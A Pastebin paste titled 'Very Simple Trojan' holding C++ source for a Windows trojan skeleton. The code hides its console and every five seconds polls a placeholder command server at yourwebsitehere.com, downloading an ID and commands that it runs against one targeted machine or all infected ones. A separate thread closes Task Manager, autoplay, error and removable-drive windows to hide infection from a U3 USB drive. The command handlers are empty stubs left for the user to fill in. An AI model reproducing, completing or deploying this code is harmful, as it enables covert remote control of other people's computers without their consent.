emS-St1ks

Very Simple Trojan

Oct 6th, 2014
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.65 KB | None | 0 0
  1. #include <windows.h>
  2. #pragma comment(lib, "Winmm.lib")
  3. #include <urlmon.h>
  4. #pragma comment(lib, "urlmon.lib")
  5. #include <iostream>
  6. #include <fstream>
  7. #include <WinInet.h>
  8. #pragma comment(lib, "WinInet.lib")
  9. #include <ShlObj.h>
  10. using namespace std;
  11.  
  12. int Option, Assign, Target;
  13. DWORD WINAPI LowProfile(LPVOID);
  14. DWORD WINAPI Option1(LPVOID);
  15. DWORD WINAPI Option2(LPVOID);
  16. DWORD WINAPI Option3(LPVOID);
  17. DWORD WINAPI Option4(LPVOID);
  18. DWORD WINAPI Option5(LPVOID);
  19. // Add more lines of Option6, Option7, etc. to create more commands.
  20. HWND TaskMgr, SysError, WMP, Disk1, Disk2, Disk3, Disk4, Autoplay, VBS;
  21.  
  22. int main() {
  23. // Hide Console Window
  24. FreeConsole();
  25.  
  26. CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&LowProfile, 0, 0, NULL);
  27.  
  28. // Checks if assign.txt exists. If it doesn't (only first run), download assign.txt. This gives the computer an ID number. You can change assign.txt in the PHP file BEFORE you plug in the U3 drive.
  29. FILE *istream;
  30. if ( (istream = fopen ( "C:\\Windows\\trojan\\assign.txt", "r" ) ) == NULL ) {
  31.     URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/assign.html", L"c:\\Windows\\trojan\\assign.txt", NULL, NULL);
  32. } else {
  33. }
  34.  
  35. // Store Assign.txt in a variable
  36. ifstream inAssign;
  37. inAssign.clear();
  38. inAssign.open("c:\\Windows\\trojan\\assign.txt");
  39. inAssign >> Assign;
  40. inAssign.close();
  41. inAssign.clear();
  42.  
  43. // Start the main loop that is downloading the textfile each 5 seconds.
  44. while(1) {
  45.  
  46.     // Download Option & Target
  47.     remove("c:\\Windows\\trojan\\option.txt");
  48.     remove("c:\\Windows\\trojan\\target.txt");
  49.     DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/");
  50.     DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/target.html");
  51.     Sleep(100);
  52.     URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/", L"c:\\Windows\\trojan\\option.txt", NULL, NULL);
  53.     URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/target.html", L"c:\\Windows\\trojan\\target.txt", NULL, NULL);
  54.  
  55.     // Read Option
  56.     ifstream inFile;
  57.     inFile.clear();
  58.     inFile.open("c:\\Windows\\trojan\\option.txt");
  59.     inFile >> Option;
  60.     inFile.close();
  61.     inFile.clear();
  62.  
  63.     // Read Target
  64.     ifstream inTarget;
  65.     inTarget.clear();
  66.     inTarget.open("c:\\Windows\\trojan\\target.txt");
  67.     inTarget >> Target;
  68.     inTarget.close();
  69.     inTarget.clear();
  70.  
  71.     // If Target is equal to assign (so you can target a single computer) or if Target is zero (target all computers with your trojan)
  72.     if(Target == Assign || Target == 0) {
  73.         if(Option == 1) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option1, 0, 0, NULL); }
  74.         else if(Option == 2) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option2, 0, 0, NULL); }
  75.         else if(Option == 3) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option3, 0, 0, NULL); }
  76.         else if(Option == 4) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option4, 0, 0, NULL); }
  77.         else if(Option == 5) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option5, 0, 0, NULL); }
  78.         // Add more of these lines for more commands
  79.     }
  80.     Sleep(5000);
  81.     }
  82. }
  83.  
  84. // Our LowProfile Thread. Hides all errors and things that may popup while inserting your U3 drive.
  85. DWORD WINAPI LowProfile(LPVOID) {
  86.     while(1) {
  87.         // Obvious
  88.         TaskMgr = FindWindow(NULL,L"Windows Task Manager");
  89.         // May popup because of new hardware installation (U3)
  90.         SysError = FindWindow(NULL,L"System Settings Change");
  91.         // Windows Media Player may popup. Rarely happens, but had this once at a school computer.
  92.         WMP = FindWindow(NULL,L"Windows Media Player");
  93.         // The Removable Disk part of the U3 Drive can open automatically.
  94.         Disk1 = FindWindow(NULL,L"(D:) Removable Disk");
  95.         Disk2 = FindWindow(NULL,L"(E:) Removable Disk");
  96.         Disk3 = FindWindow(NULL,L"(F:) Removable Disk");
  97.         Disk4 = FindWindow(NULL,L"(G:) Removable Disk");
  98.         // Autoplay
  99.         Autoplay = FindWindow(NULL,L"Autoplay");
  100.         // Errors caused by our VBScript go.vbs
  101.         VBS = FindWindow(NULL,L"Windows Script Host");
  102.         if( TaskMgr != NULL) {
  103.             SetWindowText( TaskMgr,L"DIE!!!! =O");
  104.             Sleep(500);
  105.             PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  106.         }
  107.         if( SysError != NULL) {
  108.             PostMessage( SysError, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  109.         }
  110.         if( WMP != NULL) {
  111.             Sleep(1000);
  112.             PostMessage( WMP, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  113.         }
  114.         if( Disk1 != NULL) {
  115.             PostMessage( Disk1, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  116.         }
  117.         if( Disk2 != NULL) {
  118.             PostMessage( Disk2, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  119.         }
  120.         if( Disk3 != NULL) {
  121.             PostMessage( Disk3, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  122.         }
  123.         if( Disk4 != NULL) {
  124.             PostMessage( Disk4, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  125.         }
  126.         if( Autoplay != NULL) {
  127.             PostMessage( Autoplay, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  128.         }
  129.         if( VBS != NULL) {
  130.             PostMessage( VBS, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  131.         }
  132.         Sleep(500);
  133.     }
  134. }
  135.  
  136. //
  137. // Here we start with our commands. Option1, Option2, Option3, etc.
  138. // Don't forget to also define and create a process for these Options if you want to create more.
  139. // Have Fun =D
  140. //
  141.  
  142. DWORD WINAPI Option1(LPVOID) { // 1
  143.     return 0;
  144. }
  145.  
  146. DWORD WINAPI Option2(LPVOID) { // 2
  147.     return 0;
  148. }
  149.  
  150. DWORD WINAPI Option3(LPVOID) { // 3
  151.     return 0;
  152. }
  153.  
  154. DWORD WINAPI Option4(LPVOID) { // 4
  155.     return 0;
  156. }
  157.  
  158. DWORD WINAPI Option5(LPVOID) { // 5
  159.     return 0;
  160. }
Add Comment
Please, Sign In to add comment